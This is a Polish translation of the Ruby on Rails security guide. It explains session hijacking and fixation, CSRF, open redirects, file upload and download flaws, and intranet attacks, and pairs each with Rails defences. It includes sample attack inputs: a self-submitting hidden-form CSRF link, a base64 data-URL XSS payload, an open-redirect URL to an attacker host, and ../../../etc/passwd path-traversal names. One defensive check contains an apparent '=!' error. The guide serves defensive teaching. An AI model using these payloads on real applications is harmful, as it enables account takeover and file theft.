Więcej na rubyonrails.pl: Start | Pobierz | Wdrożenie | Kod (en) | Screencasty | Dokumentacja | Ekosystem | Forum | IRC

Bezpieczeństwo w Ruby On Rails

Ten przewodnik opisuje częste problemy związane z bezpieczeństwem w aplikacjach internetowych i pokazuje jak ich uniknąć stosując Railsy. Jeśli masz jakiekolwiek pytania lub sugestie, wyślij wiadomość do Heiko Webers’a na maila: 42 {_et_} rorsecurity.info. Po przeczytaniu tego przewodnika powinieneś znać takie zagadnienia jak:

1 Wstęp

Frameworki powstały by pomagać projektantom w tworzeniu aplikacji internetowych. Niektóre z nich mogą być pomocne także przy ochronie aplikacji przed atakami. W rzeczywistości wszystkie frameworki są tak samo bezpieczne: jeśli stosujesz je prawidłowo będziesz w stanie stworzyć bezpieczne aplikacje używając niemalże każdego z frameworków. W Ruby on Rails można znaleźć kilka helperów rozwiązujących takie problemy jak np. ataki typu injection. Z przyjemnością muszę stwierdzić, że wszystkie Railsowe aplikacje, które audytowałem miały wysoki poziom bezpieczeństwa.

Ogólnie rzecz biorąc nie ma sposobu na zapewnienie natychmiastowej ochrony aplikacji przed wszystkimi rodzajami ataku. Bezpieczeństwo zależy od ludzi używających frameworka, od metody projektowania, jak również od wszystkich składników środowiska aplikacji internetowej: bazy danych, serwera oraz aplikacji samej w sobie (i prawdopodobnie od innych elementów).

Gartner Group oszacowała jednak, że 75% ataków dotyczy poziomu aplikacji internetowej. Okazało się, „że spośród 300 audytowanych stron 97% było narażonych na atak”. Dzieje się tak dlatego, ponieważ aplikacje internetowe są stosunkowo łatwym celem ataku. Nawet laik bez trudu może zrozumieć ich działanie i w prosty sposób nimi manipulować.

Zagrożenia wobec aplikacji internetowych to między innymi: przejęcie konta użytkownika, ominięcie kontroli dostępu, czytanie lub modyfikowanie poufnych danych, prezentacja fałszywych treści. Atakujący może również zainstalować konia trojańskiego lub oprogramowanie rozsyłające niepożądane maile w celu uzyskania korzyści finansowych albo w celu zniszczenia dobrego imienia firmy poprzez modyfikację cennych materiałów. Jeśli chcesz zapobiegać atakom, zminimalizować ich działanie i wyeliminować potencjalne miejsca, w których mógłby nastąpić atak, musisz najpierw w pełni zrozumieć metody ataku. I to właśnie jest celem tego przewodnika.

W celu stworzenia i utrzymywania bezpiecznej aplikacji internetowej musisz być na bieżąco i aktualizować wszystkie jej warstwy zgodnie z aktualnymi wymogami bezpieczeństwa, a także poznać swoich wrogów. Żeby być na bieżąco dopisz się do odpowiednich list mailingowych, czytaj blogi i postaraj się, żeby aktualizowanie i kontrolowanie bezpieczeństwa Twojej aplikacji weszło Ci w nawyk (sprawdź w rozdziale „Dodatkowe materiały”). Ja robię to ręcznie ponieważ to najlepszy sposób, żeby znaleźć złośliwe problemy związane z bezpieczeństwem.

2 Sesje

Rozważając kwestię bezpieczeństwa dobrze zwrócić uwagę na sesje, które mogą być szczególnie narażone na ataki.

2.1 Czym są sesje?

HTTP jest protokołem bezstanowym. Sesje to zmieniają.

Większość aplikacji wymaga śledzenia stanu danego użytkownika. Może to dotyczyć zawartości koszyka zakupów lub ID aktualnie zalogowanego użytkownika. Gdyby nie sesje, użytkownik musiałby identyfikować się i uwierzytelniać przy każdej podejmowanej akcji. Railsy tworzą nową sesję automatycznie, w chwili gdy użytkownik zaczyna korzystać z nowej aplikacji. W przypadku gdy użytkownik korzystał już z aplikacji, wczytywana jest istniejąca sesja.

Sesja zwykle składa się z tablicy asocjacyjnej i identyfikatora sesji. Zwykle jest to 32-znakowy łańcuch identyfikujący tę tablicę. Każde cookie wysłane do przeglądarki klienta zawiera identyfikator sesji. I odwrotnie: przeglądarka wysyła je do serwera, z każdym żądaniem klienta. W Railsach można zapisać i pobrać wartości używając metody session:

session[:user_id] = @current_user.id User.find(session[:user_id])

2.2 Identyfikator sesji

Identyfikator sesji jest 32 bajtową wartością skrótu MD5.

Identyfikator sesji jest wartością funkcji skrótu losowego łańcucha znaków. Losowy łańcuch znaków generowany jest na podstawie aktualnego czasu, losowej liczba pomiędzy 0 a 1, id procesu interpretera Ruby (jest to również wartość losowa) oraz stałego łańcucha znaków. Obecnie atak typu brute-force na ID sesji w Railsach jest niewykonywalny. Do tej pory MD5 pozostał nieskompromitowany (ang. uncompromised), jednak znaleziono sposób na generowanie kolizji. Zatem teoretycznie możliwe jest wygenerowanie różnych danych wejściowych które będą miały identyczną funkcję skrótu. Jednak obecnie nie ma to żadnego wpływu na bezpieczeństwo aplikacji railsowych (w ogólnym przypadku jest to poważny problem bezpieczeństwa, warto zapoznać się z artykułem na ten temat w Wikipedii - przyp. red.).

2.3 Przechwytywanie sesji

Kradzież identyfikatora sesji użytkownika umożliwia atakującemu dostęp do danej aplikacji internetowej, tak, jakby korzystał z niej pełnoprawny użytkownik.

Wiele aplikacji internetowych ma następujący system uwierzytelniania: użytkownik wprowadza nazwę użytkownika i hasło, aplikacja sprawdza dane i przechowuje identyfikator sprawdzonego użytkownika w tablicy asocjacyjnej sesji. Od tej chwili sesja jest ważna. Na każde żądanie aplikacja wczyta użytkownika o danym identyfikatorze bez potrzeby uwierzytelniania. Identyfikator sesji w cookie jednoznacznie identyfikuje sesję użytkownika.

Stąd wynika, że cookies są wykorzystwane do tymczasowego uwierzytelniania w aplikacjach internetowych. Każdy kto przejmie czyjeś cookies, może używać aplikacji jako ten użytkownik – co może powodować poważne konsekwencje. Oto kilka sposobów na przejęcie sesji i sposoby obrony przed atakiem:

- Wywęszenie cookies w niezabezpieczonej sieci. Bezprzewodowa sieć może posłużyć jako przykład takiej sieci. W nieszyfrowanej sieci bezprzewodowej śledzenie ruchu wszystkich podłączonych klientów jest szczególnie łatwe. Jest to jeden z powodów, dla których powinniśy zrezygnować z pracy w kawiarniach. Dla projektantów aplikacji internetowych oznacza to konieczność zapewnienia bezpiecznego połączenia przez SSL.

- Większość ludzi nie kasuje cookies po pracy na publicznym sprzęcie. Więc jeśli ostatni użytkownik nie wylogował się z aplikacji internetowej, ktoś inny może się pod niego podszywać. Dlatego ważne jest, aby zapewnić użytkownikowi widoczny przycisk do wylogowania.

- Wiele ataków typu cross-site scripting (XSS) ma na celu pozyskanie cookies użytkownika. Więcej informacji o atakach typu XSS znajduje się w dalszej części podręcznika.

- Atakujący może spreparować ID sesji użytkownika zamiast kradzieży nieznanych cookies. Więcej informacji o atakach typu session fixation znajduje się w dalszej części podręcznika.

Głównym celem większości atakujących jest korzyść finansowa. Ceny za skradzione loginy do kont bankowych na czarnym rynku są wyceniane od 10 do 1000 dolarów (w zależności od środków na koncie). Numery kart kredytowych są warte od 0,40 do 20 dolarów. Za konta na stronach z aukcjami online – 1 do 8 dolarów. Hasła do kont mailowych kosztują od 4 do 30 dolarów. Dane pochodzą ze strony: Symantec Global Internet Security Threat Report.

2.4 Wskazówki dotyczące sesji

Kilka ogólnych wskazówek dotyczących sesji.

- Nie przechowuj dużych obiektów w sesji. Zamiast tego powinieneś przechowywać je w bazie danych i zapisywać ich ID w sesji. Rozwiążesz w ten sposób problemy z synchronizacją (modelu danych – przyp. red.) i nie zapełnisz miejsca w sesji (w zależności od tego jaką wybrałeś metodę jej przechowywania, patrz poniżej).

- Ważne dane nie powinny być przechowywane w sesjach. Gdy użytkownik wyczyści cookies albo zamknie przeglądarkę nie będzie mógł ich odzyskać. A wybierając metodę przechowywania sesji po stronie użytkownika, pozwolisz mu na ich odczytanie.

2.5 Przechowywanie sesji

Railsy zapewniają kilka mechanizmów przechowywania identyfikatorów sesji. Najważniejszymi z nich są ActiveRecordStore i CookieStore.

Istnieje kilka sposobów przechowywania sesji, tj. miejsc w których Railsy zapisują dane sesji i jej identyfikator. Większość aplikacji typu Real-live korzysta z ActiveRecordStore (lub jej pochodnych). ActiveRecordStore przechowuje dane i identyfikator sesji w tabeli w bazie danych. Dane są zapisywane i wczytywane przy każdym żądaniu.

W Railsach 2 wprowadzono nowy domyślny sposób przechowywania sesji - CookieStore. CookieStore zapisuje dane sesji bezpośrednio w cookie po stronie klienta, skąd wczytywane są przez serwer. Dzięki temu id sesji staje się zbędne, a aplikacja działa dużo szybciej. Jednak jest to dość kontrowersyjny sposób przechowywania i trzeba wziąć pod uwagę kilka kwestii związanych z bezpieczeństwem tego rozwiązania:

- Rozmiar cookies nie może przekraczać 4K. Nie stanowi to większego problemu, jednak nie powinno się przechowywać w cookies dużej ilości danych, odwołując się do tego co napisałem wcześniej. Przechowywanie np. bazodanowego identyfikatora zalogowanego użytkownika jest zazwyczaj ok.

- Użytkownik może zobaczyć wszystko co przechowujesz w sesji, ponieważ przechowywane dane są w postaci tekstowej (właściwie są one zakodowane w Base64, ale nie szyfrowane). Więc zapewne nie chciałbyś przechowywać tu żadnych sekretnych danych. Żeby zapobiec manipulacji danymi sesji, wyliczany jest skrót na podstawie danych sesji oraz tajnego klucza po stronie serwera i umieszczany na końcu pliku cookie.

Oznacza to, że bezpieczeństwo przechowywania jest zależne od tajnego klucza (i od algorytmu funkcji skrótu, którym domyślnie jest, jak do tej pory nieskompromitowany, SHA512). Więc nie używaj prostych kluczy takich jak słowa ze słownika oraz kluczy poniżej 30 znaków. Umieść swój tajny klucz w environment.rb:

config.action_controller.session = { :key => ‘_app_session’, :secret => ‘0x0dkfj3927dkc7djdh36rkckdfzsg...’ }

Istnieją jednak, pochodne CookieStore które szyfrują dane sesji, więc klient nie może ich odczytać.

2.6 Ataki typu Replay na sesje CookieStore.

Kolejnym sposobem ataku, którego powinieneś się obawiać gdy używasz CookieStore, jest atak typu replay.

Wygląda on tak:

- Użytkownik otrzymuje kredyty, kwota jest przechowywana w sesji (co jest złym pomysłem, ale użyłem tego przykładu dla celów demonstracyjnych). - Użytkownik kupuje jakiś przedmiot. - Jego nowy, niższy kredyt będzie przechowywany w sesji. - Ciemna strona mocy użytkownika każe mu wziąć cookie z pierwszego kroku (które wcześniej skopiował) i zastąpić obecne cookie w przeglądarce. - Użytkownik ma swój kredyt z powrotem.

Zastosowanie tokena (ang. nonce, jednorazowa, losowa wartość – przyp. red.) w sesji rozwiązuje problem ataku typu replay. Token jest ważny tylko raz i serwer musi śledzić wszystkie ważne tokeny. To staje się jeszcze bardziej skomplikowane, jeśli twoja aplikacja działa na kilku serwerach aplikacji (np. kilku instancjach Mongrela). Przechowywanie tokena w tabeli bazy danych niszczy całą ideę CookieStore (unikanie łączenia się z bazą danych).

Najlepszym rozwiązaniem jest przechowywanie tego rodzaju danych nie w sesji, lecz w bazie danych. W tym przypadku kredyt powinien być przechowywany w bazie danych, a identyfikator zalogowanego użytkownika w sesji.

2.7 Atak typu Session fixation

Oprócz kradzieży identyfikatora sesji użytkownika, atakujący może spreparować identyfikator sesji dla użytkownika. Zjawisko to jest określane mianem ataku typu session fixation.

Session fixation

Ten atak skupia się na spreparowaniu identyfikatora sesji dla użytkownika, który jest znany atakującemu i zmuszeniu użytkownika do korzystania z tego identyfikatora. Zatem atakujący nie musi później kraść identyfikatora sesji. Oto jak działa ten atak:

  1. Atakujący tworzy ważny identyfikator sesji: Ładuje stronę logowania aplikacji internetowej (która ma być obiektem ataku typu session fixation) i pozyskuje identyfikator sesji, wysłany w odpowiedzi z serwera w pliku cookie (patrz nr 1 i 2 na obrazku).
  2. Atakujący prawdopodobnie będzie kontynuował sesję. Wygasanie sesji, na przykład po 20 minutach, znacznie skraca czas przewidziany na atak. Dlatego atakujący co jakiś czas otwiera aplikację internetową, żeby podtrzymać sesję.
  3. Teraz atakujący może zmusić przeglądarkę użytkownika do korzystania z jego identyfikatora sesji (patrz nr 3 na obrazku). Ponieważ nie można zmienić cookie innej domeny (z powodu zasady tożsamego pochodzenia – ang. same origin policy), atakujący musi uruchomić JavaScript z domeny docelowej aplikacji internetowej. Wstrzyknięcie (ang. injection) własnego kodu JavaScript do aplikacji będącej obiektem ataku jest możliwe dzięki metodom takim jak XSS. Oto przykład: . Więcej informacji o atakach typu XSS i Injection znajduje się w dalszej części podręcznika.
  4. Atakujący wabi ofiary do stron zainfekowanych kodem JavaScript. Przeglądając stronę, przeglądarka ofiary zmienia identyfikator sesji na identyfikator sesji-pułapki.
  5. Ponieważ nowa sesja-pułapka nie była do tej pory używana (tzn. w ramach tej sesji atakujący nie logował się na konto – przyp. red.), aplikacja internetowa będzie wymagać uwierzytelnienia użytkownika.
  6. Od tej pory, ofiara i atakujący będą wspólnie używać aplikacji internetowej, korzystając z tej samej sesji: Sesja stała się ważna, a ofiara nie zauważyła ataku.

2.8 Sposoby obrony przed atakiem typu session fixation

Jedna linia kodu może ochronić Cię przed atakiem typu session fixation.

Najskuteczniejszą ochroną jest wydanie nowego identyfikatora sesji i unieważnienie starego po udanym logowaniu. W ten sposób atakujący nie może używać spreparowanych identyfikatorów sesji. Jest to również dobry sposób obrony przeciw przejęciu sesji. Oto jak utworzyć nową sesję w Railsach:

reset_session

W przypadku korzystania z popularnej wtyczki RestfulAuthentication do zarządzania użytkownikami, należy dodać reset_session do akcji SessionsController#create. Zwróć uwagę, że ta akcja usuwa wszystkie wartości z sesji, (highlight) więc musisz przenieść je do nowej sesji.

Innym sposobem obrony jest zapisywanie specyficznych właściwości użytkownika w sesji, weryfikowanie ich przy każdym żądaniu i odmowa dostępu, jeśli informacje te nie pasują do siebie. Takimi właściwościami mogą być adres IP lub nazwa przeglądarki internetowej, choć ta ostatnia nie jest aż tak bardzo charakterystyczna dla użytkownika. Podczas zapisywania adresu IP, musisz pamiętać, że istnieją dostawcy usług internetowych oraz duże organizacje, które oferują swoim użytkownikom dostęp do Internetu przez proxy. (highlight) Adresy IP tych użytkowników mogą ulegać zmianom w trakcie sesji, więc nie będą oni mogli korzystać z aplikacji, lub tylko w ograniczonym zakresie.

2.9 Wygasanie sesji

Sesja, która nigdy nie wygasa daje więcej czasu atakującym na przeprowadzenie ataku typu cross-site reference forgery (CSRF), przechwytywanie sesji i session fixation.

Jedną z możliwości jest ustawienie czasu wygaśnięcia cookie przechowującego id sesji. Jednak klient może edytować pliki cookies, które są przechowywane w przeglądarce internetowej, zatem sesje przechowywane po stronie serwera są bezpieczniejsze. Oto przykład, jak ustawić wygasanie sesji w tabeli bazy danych. Session.sweep("20m") powoduje wygaśnięcie sesji, które były używane dawniej niż 20 minut temu.

class Session < ActiveRecord::Base def self.sweep(time_ago = nil) 
 time = case time_ago 
 when /^(\d+)m$/ then Time.now - $1.to_i.minute 
 when /^(\d+)h$/ then Time.now - $1.to_i.hour 
 when /^(\d+)d$/ then Time.now - $1.to_i.day 
 else Time.now - 1.hour 
 end 
 self.delete_all "updated_at < '#{time.to_s(:db)}'" 
 end 
end

W sekcji na temat ataku typu session fixation zapoznałeś się z problemem utrzymania sesji. Atakujący odświeżając sesję co pięć minut jest w stanie bez końca utrzymywać sesję przy życiu, mimo tego, że sesja użytkownika już wygasła. Prostym rozwiązaniem tego problemu może być dodanie kolumny created_at do tabeli sesji. W ten sposób możesz usunąć sesje, które zostały stworzone dawno temu. Dodaj tą linię kodu, do metody, którą opisałem powyżej:

self.delete_all "updated_at < '#{time.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'"

3 Cross-Site Reference Forgery (CSRF)

Ta metoda ataku dodaje złośliwy kod lub link na stronie internetowej, która jest odpowiedzialna za dostęp do aplikacji, przy założeniu, że użytkownik był wcześniej uwierzytelniony. Jeśli sesja dla tej aplikacji nie wygasła, atakujący może bezprawnie wykonywać polecenia.

CSRF

W rozdziale o sesjach dowiedziałeś się, że większość aplikacji railsowych wykorzystuje sesje oparte na cookies. Albo identyfikator sesji przechowywany jest w cookie, a dane sesji trzymane są po stronie serwera, albo dane sesji również przechowywane są po stronie klienta. We obu przypadkach przeglądarka z każdym żądaniem automatycznie przesyła cookie z danej domeny, oczywiście jeśli takowe cookie istniej. Zagrożeniem może być fakt, że przeglądarka będzie również wysyłać plik cookie, jeśli żądanie przyjdzie ze strony w innej domenie. Zacznijmy od przykładu:

  • Bob przegląda forum i widzi wpis hakera, zawierający spreparowany element HTML typu img (obrazek). Element jednak odnosi się do komendy w aplikacji zarządzania projektem Boba, zamiast obrazka.
  • Sesja Boba na www.webapp.com jest wciąż aktywna, bo nie wylogował się kilka minut temu.
  • Poprzez oglądanie wpisu, przeglądarka znajdzie tag obrazka. Następnie spróbuje wczytać podejrzany obrazek z www.webapp.com. Zgodnie z tym, co napisałem wcześniej, przeglądarka prześle również cookie z ważnym identyfikator sesji.
  • Aplikacja internetowa na www.webapp.com sprawdzi informacje o użytkowniku w danych sesji i zniszczy projekt z ID 1. Następnie zwróci stronę, która będzie nieoczekiwanym wynikiem dla przeglądarki, więc nie wyświetli się żaden obrazek.
  • Bob nie zauważy ataku — ale po kilku dniach stwierdzi, że projekt numer 1 zniknał.

Ważne jest, aby zauważyć, że spreparowany obrazek lub link niekoniecznie musi znajdować się w domenie, gdzie znajduje się aplikacja – może być w dowolnym miejscu – na forum, blogu lub w mailu.

CSRF pojawia się bardzo rzadko w CVE (Common Vulnerabilities and Exposures) - mniej niż 0,1% w 2006 r. - ale tak naprawdę jest to “śpiący olbrzym” [Grossman]. Kontrastuje to znacząco z wynikami moich (i innych) zleceń dotyczących bezpieczeństwa – CSRF jest istotną kwestią bezpieczeństwa.

3.1 Sposoby ochrony przed atakiem typu CSRF

Po pierwsze, używaj żądań GET i POST tak, jak jest to zalecane przez W3C. Po drugie, używaj tokena zabezpieczającego przy metodach non-GET, żeby chronić aplikację przed CSRF.

Protokół HTTP przewiduje zasadniczo dwa główne rodzaje żądań – GET i POST (i więcej, ale nie są one obsługiwane przez większość przeglądarek). World Wide Web Consortium (W3C) podaje spis sytuacji, w których stosujemy GET lub POST:

Używaj GET jeśli:

  • Interakcja przypomina zapytanie (np. jeśli jest to bezpieczna operacja taka jak kwerenda, operacja czytania, albo wyszukiwania.

Używaj POST jeśli:

  • Interakcja przypomina komendę lub
  • Interakcja powoduje zmianę zasobów w sposób zauważalny dla użytkownika (np. subskrypcja serwisu) lub
  • Użytkownik jest odpowiedzialny za wynik działania interakcji.

Jeśli aplikacja internetowa jest RESTful, możesz również korzystać z dodatkowych metod HTTP, takich jak PUT lub DELETE. Większość współczesnych przeglądarek internetowych ich nie obsługuje, jednak Railsy wykorzystują ukryte pole _method, żeby ominąć tą barierę.

Metody verify w kontrolerze sprawdza czy konkretne akcje mogą być wykonywane za pomocą określonego typu żądania. Oto przykład, w którym sprawdzane jest wykonanie akcji transfer przez żądanie typu POST. Jeżeli akcja zostanie wywołana za pomocą jakiegokolwiek innego typu żądania HTTP, zostanie ona przekierowana do akcji list.

verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list}

Dzięki tej ostrożności, wyżej opisany atak nie zadziała, ponieważ przeglądarka wysyła żądanie GET dla obrazków, które nie zostanie zaakceptowane przez aplikację internetową.

Ale to dopiero pierwszy krok, ponieważ żądanie POST również może być wysłane automatycznie. Oto przykład linku, który wyświetli www.harmless.com jako miejsce docelowe w pasku stanu przeglądarki. W rzeczywistości jednak dynamicznie tworzy nowy formularz, który wysyła niebezpieczne żądanie POST.

<a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a>

Atakujący może też umieścić kod w zdarzeniu onmouseover dla obrazka:

Istnieje wiele innych możliwości (w tym Ajax) ataku niezauważalnego dla ofiary. Rozwiązaniem tego problemu może być użycie tokena zabezpieczającego w żądaniach typu non-GET sprawdzanego po stronie serwera. W wersjach Railsów 2.0 lub wyższych, jest to jedna linia kodu w kontrolerze aplikacji:

protect_from_forgery :secret => "123456789012345678901234567890..."

Spowoduje to automatyczne dołączenie zabezpieczającego tokena, wyliczonego na podstawie bieżącej sesji i tajnego klucza, we wszystkich formularzach i żądaniach Ajaxowych generowanych w Railsach. Klucz nie będzie potrzebny, jeśli używasz CookieStorage jako sposobu przechowywania sesji. Aplikacja wyrzuci wyjątek ActionController::InvalidAuthenticityToken jeśli token nie będzie poprawny.

Należy pamiętać, że atak typu cross-site scripting (XSS) omija wszystkie zabezpieczenia przed atakami typu CSRF. XSS pozwala atakującemu na dostęp do wszystkich elementów na stronie, także może on odczytać token zabezpieczający przed CSRF z formularza lub bezpośrednio wysłać formularz. Więcej informacji o atakach typu XSS znajduje się w dalszej części podręcznika.

4 Przekierowania i pliki

Inną grupą elementów podatnych na atak są przekierowania i pliki w aplikacjach internetowych.

4.1 Przekierowania

Przekierowanie w aplikacji internetowej to niedoceniane narzędzie ataku: atakujący może zarówno wyprowadzić użytkownika na stronę-pułapkę, jak i przygotować atak niezależny.

Każdy przypadek, gdy użytkownik ma możliwość określenia linku (jego części) na podstawie którego tworzone jest przekierowanie, stanowi prawdopodobne zagrożenie. Najbardziej oczywisty atak to przekierowanie użytkowników do fałszywych stron, które wyglądają dokładnie jak oryginalne. Ten atak (typu phishing) działa poprzez wysłanie zwyczajnie wyglądających linków w wiadomości e-mail, dodawanie lików do działającej aplikacji poprzez ataki XSS lub umieszczanie linków do atakowanej aplikacji na innych stron.

Nie wygląda to podejrzanie, ponieważ URL zaczyna się jak link do zwyczajnej, niegroźnej strony internetowej, a URL do strony, z której płynie zagrożenie, jest ukryty w parametrze przekierowania: http://www.example.com/site/redirect?to= www.attacker.com. Oto przykład takiej akcji:

def legacy redirect_to(params.update(:action=>'main')) end

Będzie ona przekierowywać użytkownika do głównej akcji, jeśli próbował uzyskać dostęp do akcji legacy. Naszym zamiarem było zabezpieczenie parametrów w adresie URL (tzw. query string – przyp. red.) w akcji legacy i przekazanie ich do głównej akcji. Jednakże może to być wykorzystane przez atakującego, jeśli zawrze on adres hosta w adresie URL:

http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com

Jeśli jest on na końcu adresu URL, ciężko go zauważyć a skutkiem będzie przekierowanie użytkownika do hosta attacker.com. Prosta ochrona polega na przekazywaniu tylko oczekiwanych parametrów w akcji legacy (z wykorzystaniem tzw. białej listy zamiast usuwania nieoczekiwanych parametrów). Dlatego każde akcję pozwalającą na przekierowanie do adresu URL, należy sprawdzać za pomocą białej listy lub z wykorzystaniem wyrażeń regularnych.

4.1.1 Niezależny atak typu XSS

Kolejny typ ataku XSS związany z przekierowaniami działa w przeglądarkach Firefox i Opera przez wykorzystanie protokołu danych. Protokół ten wyświetla swoją zawartość bezpośrednio w przeglądarce i może mieć dowolną postać – od kodu HTML lub JavaScript do całego zdjęcia, np:

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

W tym przykładzie został użyty zakodowany metodą Base64 skrypt JavaScript, który wyświetla proste okno dialogowe. W przekierowującym adresie URL atakujący zaszyć taki złośliwy kod. Żeby bronić się przed takimi atakami, nie powinieneś pozwalać użytkownikowi na określanie adresu URL (lub jego części) w przekierowaniach.

4.2 Wysyłanie (upload) plików

Upewnij się, że pliki wysyłane na serwer nie nadpiszą ważnych plików i że są one przetwarzane asynchronicznie.

Wiele aplikacji internetowych pozwala użytkownikowi na wysyłanie własnych plików. Nazwy plików, które wybierze użytkownik zawsze powinny być filtrowane ponieważ atakujący może użyć złośliwych nazw plików żeby nadpisać ważne pliki na serwerze. Jeśli przechowujesz wczytane pliki w katalogu /var/www/uploads i jeśli użytkownik wyśle plik o nazwie ../../../etc/passwd, może nadpisać któryś z ważnych plików. Oczywiście interpreter Ruby wymaga odpowiednich praw, żeby to zrobić – kolejny powód, żeby odpalać serwery aplikacji, serwery baz danych i inne programy jako mniej uprzywilejowanych użytkowników.

Gdy filtrujesz pliki nadesłane przez użytkownika, nie staraj się usunąć złośliwych części. Pomyśl o sytuacji, gdy aplikacja internetowa usuwa wszystkie ../ w nazwie pliku, a atakujący użyje takiej nazwy: ....// – rezultat będzie taki: ../. Najlepszym rozwiązaniem jest podejście zwane białą listą, dzięki której można sprawdzić czy nazwa pliu zawiera wyłącznie dozwolone znaki. Jest to alternatywa dla podejścia tzw. czarnej listy, która która zawiera wyłącznie znaki niedozwolone. W przypadku, gdy nazwa jest niepoprawna odrzuć ją (lub zastąp niedozwolone znaki), ale nie usuwaj ich. Poniżej przedstawiony jest rozwiązanie wykorzystywane w pluginie attachment_fu:

def sanitize_filename(filename) filename.strip.tap do |name| # NOTE: File.basename doesn't work right with Windows paths on Unix # get only the filename, not the whole path name.gsub! /^.*(\\|\/)/, '' # Finally, replace all non alphanumeric, underscore # or periods with underscore name.gsub! /[^\w\.\-]/, '_' end end

Istotną niedogodnością synchronicznego przetwarzania plików (jak ma to miejsce np. w pluginie attachment_fu przy przetwarzaniu obrazków), jest jego podatność na ataki typu danial-of-service. Atakujący może synchronicznie rozpocząć wysyłanie obrazków z wielu komputerów, co zwiększa obciążenie serwera i może doprowadzić do jego awarii.

Najlepszym rozwiązaniem jest asynchroniczne przetwarzanie plików (w szczególności obrazków i filmów): zapisz plik i ustaw harmonogram przetwarzania żądania w bazie danych. Niezależny proces zajmie się przetwarzaniem plików w tle.

4.3 Kod wykonywalny we wczytywanych plikach

Kod źródłowy we wczytywanych plikach może być wykonywany, gdy umieszczony jest w konkretnych katalogach. Nie należy umieszczać wczytywanych plików Rails w katalogu /public, jeżeli jest to katalog domowy Apache’a.

Popularny serwer Apache posiada opcję o nazwie DocumentRoot. Jest to katalog domowy strony internetowej. Wszystko w tym drzewie katalogów będzie obsługiwane przez serwer WWW. Jeśli istnieją pliki o określonych rozszerzeniach, kod zostanie wykonany, jeśli przyjdzie określone żądanie (może to wymagać ustalenia niektórych opcji). Przykładem mogą być pliki PHP i CGI. Teraz pomyśl o sytuacji, gdy atakujący wysyła na serwer plik file.cgi zawierający kod, który zostanie wykonany, gdy ktoś pobiera plik.

Jeśli DocumentRoot w Apache odnosi się do katalogu /public Twojej aplikacji, nie umieszczaj w nim wczytywanych plików, przechowuj pliki co najmniej jeden poziom niżej.

4.4 Ściąganie plików

Upewnij się, czy użytkownicy nie mogą pobierać dowolnych plików.

Tak ja to było przy wysyłaniu plików na serwer, musisz filtrować nazwy plików przy pobieraniu. Metoda send_file() wysyła pliki z serwera do klienta. Jeśli używana jest nazwa pliku wpisywana przez użytkownika bez filtrowania, można pobrać każdy plik:

send_file('/var/www/uploads/' + params[:filename])

Wystarczy podać nazwę pliku, taką jak ../../../etc/passwd żeby pobrać plik zawierający zaszyfrowane hasła serwera. Prostym rozwiązaniem jest sprawdzenie czy żądany plik znajduje się w tym katalogu, w którym się spodziewasz:

basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files')) filename = File.expand_path(File.join(basename, @file.public_filename)) raise if basename =! File.expand_path(File.join(File.dirname(filename), '../../../')) send_file filename, :disposition => 'inline'

Inny (dodatkowy) sposób to przechowywanie nazw plików w bazie danych i nazywanie plików na dysku według identyfikatorów w bazie danych. Jest to również dobry sposób, żeby uniknąć problemu wykonywalnego kodu plikach wysyłanych na serwer. Wtyczka attachment_fu działa w podobny sposób.

5 Ochrona intranetu i panelu administratora

Intranet i interfejsy administracyjne są popularnymi celami ataku, ponieważ umożliwiają one uprzywilejowany dostęp. Chociaż powinny być obwarowane dodatkowymi zabezpieczeniami zazwyczaj rzeczywistość wygląda inaczej.

W 2007 roku pojawił się pierwszy, wykonany na zamówienie Trojan, który ukradł informacje z intranetu, mianowicie “Monster dla pracodawców” strony internetowej Monster.com służącej do rekrutacji online. Jak dotąd, indywidualnie stworzone Trojany są bardzo rzadkie, a ryzyko ich użycia przeciw aplikacjom jest dość niskie, ale istnieje taka możliwość, a przykład ten pokazuje również jak istotne jest bezpieczeństwo komputera użytkownika. Jednak najwyższe zagrożenie dla Intranetu i paneli administracyjnych pochodzi z XSS i CSRF.

XSS Jeśli aplikacja wyświetla w intranecie dane wprowadzone przez złośliwego użytkownika z ekstranetu, będzie ona podatny na XSS. Nazwy użytkowników, komentarze, raporty o spamie, adresy w zamówieniach – to zaledwie kilka przykładowych elementów, które można zaatakować przez XSS.

Nawet jedno miejsce w interfejsie administratora lub intranecie, w którym dane wejściowe nie zostały sprawdzone, sprawia, że cała aplikacja staje się wrażliwa na atak. Atakującemu umożliwia to kradzież uprzywilejowanych cookies administratora, wstawianie kodu IFRAME, żeby wykraść hasła administratora lub zainstalować złośliwe oprogramowanie poprzez luki w zabezpieczeniach przeglądarki w celach przejęcia kontroli nad komputerem administratora.

Zapoznaj się z sekcją o atakach i ochronie przed XSS. Zalecane jest korzystanie z wtyczki SafeErb również w intranecie lub interfejsie administratora.

CSRF Cross-Site Reference Forgery (CSRF) jest bardzo groźną metodą ataku. Pozwala ona atakującemu zrobić dokładnie to samo, co administrator lub użytkownik intranetu. Wcześniej dowiedziałeś się jak działa CSRF, a teraz czas na kilka przykładów:

Przykład z życia wzięty to http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_
wild.html[rekonfiguracja routera przez CSRF]. Atakujący rozesłał złośliwe maile z CSRF do meksykańskich użytkowników. E-mail informował o e-kartce czekającej na użytkowników, ale zawierał również Tag obrazka, które poprzez żądanie http-GET miał rekonfigurować router użytkownika (dla jednego z popularnych modeli w Meksyku). Wywołanie zmieniało ustawienia DNS w ten sposób, że żądania wysyłane do Meksykańskiego banku były mapowane do witryny atakującego. Każdy, kto odwiedził witrynę banku za pośrednictwem tego routera trafiał do fałszywej strony atakującego, a jego dane uwierzytelniające zostały skradzione.

Inny przykład ataku polegał na zmianie e-maila i hasła do Google Adsense za pomocą CSRF. Jeżeli ofiara była zalogowana do interfejsu administratora programu Google Adsense i przeglądała dział kampanii reklamowych, atakujący mógł zmienić jej dane uwierzytelniające.

